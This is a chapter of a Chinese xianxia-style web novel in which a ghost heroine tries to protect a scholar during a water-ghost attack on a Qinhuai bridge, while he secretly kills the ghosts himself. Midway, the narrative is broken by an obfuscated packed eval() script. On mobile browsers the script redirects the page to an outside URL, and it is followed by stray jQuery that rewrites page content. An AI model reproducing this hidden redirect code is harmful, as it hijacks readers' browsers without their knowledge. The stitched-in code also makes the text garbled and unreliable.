兰溪制定的这个三步搞定卫祁的计划,用幼稚的笔触这样画下来,她看着那个张大嘴巴吃人的小人,想起师姐们讨论起这些,就像吃点心一样随意。
可她心里还是莫名觉得烦躁,她把那张纸揉皱,然后趴在桌子上,把脸埋在臂弯里。
为什么非要她完成这个任务,她从小到大连鸡都没杀了,根本就当不好坏人。
兰溪冰冷的手臂贴着额头,她换了个角度冷静想想,这里不过就是书里的世界,她的当务之急就是完成任务,然后回到自己的世界,卫祁也不过就是一个好下手的书生罢了。
她想了想坚定了心意,把那个揉皱的纸团又找回来,重新铺开。
去赴约的那一日,兰溪特意换了一身青绿色的儒裙,领口和袖口罩着一圈蓬松暖和的白色毛毛,她认真梳过发髻,挽了个简单的少女发髻,别上一支珍珠小簪,最后带上帷帽,遮住大半容貌。
兰溪看着铜镜里的自己,把自己画的那张不美观的脸遮上,只是漏出秀气的下颌和自己涂的很用心的嘴唇,倒是有几分娇俏的氛围美。
她又找了嫣娘,支支吾吾说要借点钱,嫣娘骂了一声“赔钱货”,转头拿里一袋银子给兰溪。
嫣娘想了想又蹙起眉,她拉住兰溪,把一个小物件塞进兰溪:“我总觉得最近外面不太平,我心里不踏实,这个叫半缘扇,你戴好,关键时刻注入一丝鬼气,可以救你的命。”
那是一个小巧的扇形吊坠,用红绳系着,兰溪收下后连忙道谢,又珍重的挂在脖子上。
“钱省着点花,可别傻乎乎的全给别人了!”嫣娘絮絮叮嘱起来。
“知道了,师父!”兰溪揣好银子,像只小鸟一样轻快便出了门。
日落时分,夕阳将亭台楼阁染上金辉,正是夜市刚刚开始的时候,街上行人不断,秦淮河畔,华灯初上,流淌的河水像一条通向天际的粼粼锦带,游人如织,笑语喧哗,正是一幅鲜活热闹的盛世画卷。
兰溪走在路上,按照约定朝秦淮河最大的石桥上赶着,远远的已经看见桥影横波,人影绰绰。
然而,兰溪越走近,越觉得气氛不对劲起来。人群开始变得急促混杂,不少人面带惊恐,仓惶从石桥方向涌来,兰溪在混乱奔跑的人群中逆行,听见人们的喊叫声。
“救命!救命!”
“快跑啊!桥那边有水鬼!”
“好多水鬼,水鬼杀人了!快跑!”
水鬼?兰溪听了人们的喊叫,心里咯噔一声,这种精怪她听嫣娘提起过,但是通常只在人烟稀少的水域深处行动,怎么会这样大规模在人烟如此聚集的秦淮河段攻击人?
兰溪突然想到了卫祁,他会不会已经在石桥上等自己了?他一个手无缚鸡之力的落魄书生,遇到水鬼岂不是很危险。
兰溪想着自己好不容易遇到一个眼瞎的书生,可不能让他随便死了。
这么想着,兰溪立刻迈开步子逆着人群,奋力向石桥方向跑去。
越靠近石桥,见到的景象就越混乱,桥上和岸边的行人尖叫着四处逃窜,暖黄的水面波涛汹涌,翻涌着阴气,水下一个个浑身湿漉,肤色青灰,指爪尖利的水鬼发出嘶哑难听的嚎叫,正从水里向上爬。
水鬼爬上岸边,或是跃上桥栏,扑向逃跑的行人,空气中弥漫开血腥味和水草的腐烂味。
兰溪见到这番景象,心立刻提了起来,她目光焦急地在混乱中搜寻。
就在石桥中央,在一片慌忙逃窜的混乱背景里,有一道身影却从容站在其中,与周围的仓皇格格不入。
卫祁换下了在破庙里的狼狈,穿着一身月白外衫,墨发半束,长身玉立,就静静地站在原地,喧嚣的声浪里,他眼里却带着疏离和冷意,仿佛眼前的红尘众生只是随意被碾碎的蝼蚁。
他就站在那里,而河里的水鬼就像被什么吸引,纷纷嘶吼着转换了攻击目标,纷纷朝他所在的位子聚拢过来。
卫祁在原地没什么动作,看着像是闻见血腥的鬣狗一样聚拢过来的水鬼,透着一丝淡淡的不耐烦,眼里的冷意又多了几分。
一只皮肤沾着粘液,獠牙外露的水鬼向他爬过来时,先扑向了卫祁身旁一个吓得跌倒在地,浑身瘫软的中年男人。
那中年男人的惨叫声戛然而止,水鬼尖利的爪子轻易割开了男人的喉咙,鲜血喷射出来,温热的血溅了卫祁一身,他却下意识用袖子挡了挡怀里的某物。
就在这时,另一只水鬼在另一侧看准时机扑了上去。
“小心!”兰溪想都没想,挤开混乱的人群,在那水鬼要扑上去之际,冲上去一个飞踢,将那水鬼一脚从桥上踢下水里。
剩下的水鬼闻见了生人的气息,更是凶厉地嘶吼起来,加快速度连攀带爬向桥上涌过来。
兰溪吓得脸色惨白,却张开双臂挡在卫祁面前,她头也不回地大喊道:“卫郎,你快跑吧,别管我了。”
看着几只水鬼爬了上来,俯着身子用黏腻的爪子伸向自己的腿,兰溪吓得腿都在打颤,她闭着眼,触电一般抬脚狠狠地朝那些水鬼的头胡乱踢去。
她一边踹着爬上来的水鬼,一边转头看卫祁竟然还站在自己的身后,她有些焦急地大喊:“你快走吧,真的不用管我!我不会有事的。”
卫祁真是个笨蛋,她好歹还是只画皮鬼可以顶一会,他一个肉体凡胎的书生站在这不是等死吗?
就在这时,水鬼群似乎已经开始被激怒了,几只体型巨大的水鬼直接踩着其他水鬼的身体,一跃而上,低吼着同时从不同方向扑过来。
一时间几只庞然巨物从四面八方向自己扑过来,兰溪也不知道如何招架,她吓得瞳孔睁大,千钧一发之际,她意识紧闭双眼,用手护着身后的卫祁。
兰溪缩着头紧闭双眼,却没有感觉都下一秒到来的攻击。
世界仿佛一瞬间安静了。
原本的撕吼声、破风声、尖叫声……一瞬间好像都戛然而止,只剩下河水缓缓流淌的呜咽。兰溪睫毛颤抖着小心睁开眼。
她看到眼前扑向她的那几只水鬼身躯毫无征兆的碎裂开来,化作一滩滩恶臭的黑色淤泥碎骨,流动着瘫在桥面上,而远处,在水里或在在岸上原本还在爬动的水鬼,也以同样诡异的方式被瞬间毙命,残躯散落一地。
一时间,水里只漂浮着一具具水鬼的尸体,且大都是头颅被瞬间拧断,一片水域被溅出来的黑色淤泥瞬间染黑,这些水鬼被近乎残忍的方式瞬间杀死。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202731|197259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这就……都死了?可是这些水鬼是怎么死的?周围也只有凡人,并没有看到修士。
兰溪有些茫然地眨眨眼,她低头摸了摸自己的手脚毫发无损,又摸到自己脖颈间那枚扇形的挂坠。
她猛地想起嫣娘对自己说过的话,这法器,关键时刻可以救命。
难道是这法器起了作用?只有这个解释了,一定是这法器在关键时刻救了自己。
兰溪松了一口气,她宝贝似的摸了摸那挂坠,然后转身看向身后的卫祁。
卫祁就站在她的身后半步之遥,他一身白衣被鲜血星星点点地溅上,血迹像冬日红梅,盛开在衣襟袖口乃至下摆,他苍白如玉的侧颊上也沾上几滴鲜血,顺着他的俊美的面庞缓缓蜿蜒流下。
鲜红的血和他冷白的肤色形成强烈的对比,他静静立在那里,溅血的容颜在暮色和灯火的映照下,才更像危险的鬼魅精怪。
兰溪却忙上前两步,四处打量一番,询问:“你有没有事?受伤了吗?”
卫祁看着兰溪焦急关切的脸,眼里的冷意如同春日薄雪退散,变得柔和起来,他轻摇了摇头,唇角弯起一抹弧度道:“我无事。”
听到卫祁亲口说没事,兰溪才长舒一口气:“那就好……那就好。”
“刚刚真是太吓人……”兰溪抚着胸口,有些后怕地开始念叨。
就在这时,卫祁将一直拢在怀里的手臂悄悄松开,从怀里取出一件雪白的斗篷。
他身上一身白衣血迹斑斑,偏偏这件斗篷被护得极好,雪白的绒毛和内衬没染上一丝血迹,被他从怀中小心拿出。
卫祁托着斗篷,递给兰溪:“你的斗篷,还给你。”
兰溪愣住,这傻书生自己命都快没了,还护着这不值钱的斗篷干什么?
她伸手接过还带着一丝温凉体温的斗篷,抱在怀里,不知道该说些什么,于是低声说了句:“谢……谢谢。”
兰溪接过斗篷后,便开始环顾四周,她发现周围好像有一种死寂一般的沉默,诡异至极。
她转头看去,周围除了一大片水鬼的尸体,还有零星几个侥幸活下来的行人,这些人瑟缩在远处的断栏后,或是房檐的阴影里,这些人并没有劫后重生的喜悦,反而一个个面白如纸,眼睛瞪大充斥着骇然看着她和卫祁。
仿佛这里有比水鬼更可怕的东西。
在这些旁观的行人眼里,水鬼扑上来的一瞬间,那白衣男人抬手挥指间,周身瞬间弥漫出令人骨髓发寒的浓稠漆黑雾气,那雾气瞬间化作无数狰狞舞动的巨大黑色触手,如同甩出吃人的巨鞭,在一瞬间将所有水鬼碾碎绞死。
煞气充斥整片河岸,一刹那把这里拉入无边鬼域,所有人感受着令人窒息的威压,喉间仿佛被无形的手死死掐住不能呼吸。
兰溪看到周围人惊恐的目光,想到刚刚自己脖颈上的挂着的半缘扇起了作用保护自己把水鬼都杀了,这一幕恐怕让这些人感到害怕,心里还有些歉意。
她被其他人的目光看得不自在,更担心这些目光会让卫祁感到不适或是引起他的怀疑。
远处传来有人赶来的脚步声,兰溪隐隐感觉到有灵力的波动。
“缉妖司办案!闲杂人等速避!”